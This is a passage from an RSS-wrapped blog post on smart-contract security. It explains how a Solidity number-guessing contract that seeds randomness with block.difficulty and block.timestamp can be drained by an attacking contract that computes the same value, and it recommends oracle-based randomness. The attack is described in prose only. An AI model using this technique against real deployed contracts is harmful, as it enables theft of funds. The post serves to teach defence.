    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}
</code></pre><p>The contract for guessing the number is very simple, that is, if you guess the number correctly, you will be given 1 ether. The seed used to generate the random number is</p><p><code>block.difficulty</code>, <code>block.timestamp</code></p><p>The attacking contract knows the rules of random generation, and uses the same random number seed—because it is all public data on the chain, it is calculated first and then called to the guessing contract, so that it is easy to win all the ethers in the contract.</p><p>2.Preventive measures</p><p>It is not necessary to use common block parameters such as <code>block.difficulty</code> and <code>block.timestamp</code> as random number seeds, which will be easily cracked.</p><p>Generally speaking, if you need to use random numbers, and this random number is used in very important scenarios involving core logic, you can choose to get random values ​​from the oracle, such as chainlink, which provides random numbers. There is a section &quot;Get a Random Number&quot; in the official document, you can click to view it.</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
    </channel>
</rss>